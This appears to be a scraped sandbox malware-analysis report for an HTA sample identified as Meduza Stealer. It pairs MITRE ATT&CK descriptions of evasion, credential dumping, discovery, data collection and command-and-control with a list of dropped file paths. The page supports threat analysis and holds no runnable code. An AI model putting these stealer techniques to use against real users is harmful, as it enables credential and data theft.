Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report script.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Meduza Stealer

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Launcher.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fdddmojo.i4w.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kci1av4b.mq2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mfizchnc.oa2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_osfbdjm5.woo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_snp1f1vq.qjo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ukvndiu1.y54.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vaxaipqw.ayh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z20dxfa5.eky.psm1

C:\Windows\Temp\Launcher.exe

C:\Windows\Temp\io12j1es.2tm.exe

Windows Analysis Report
script.hta

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre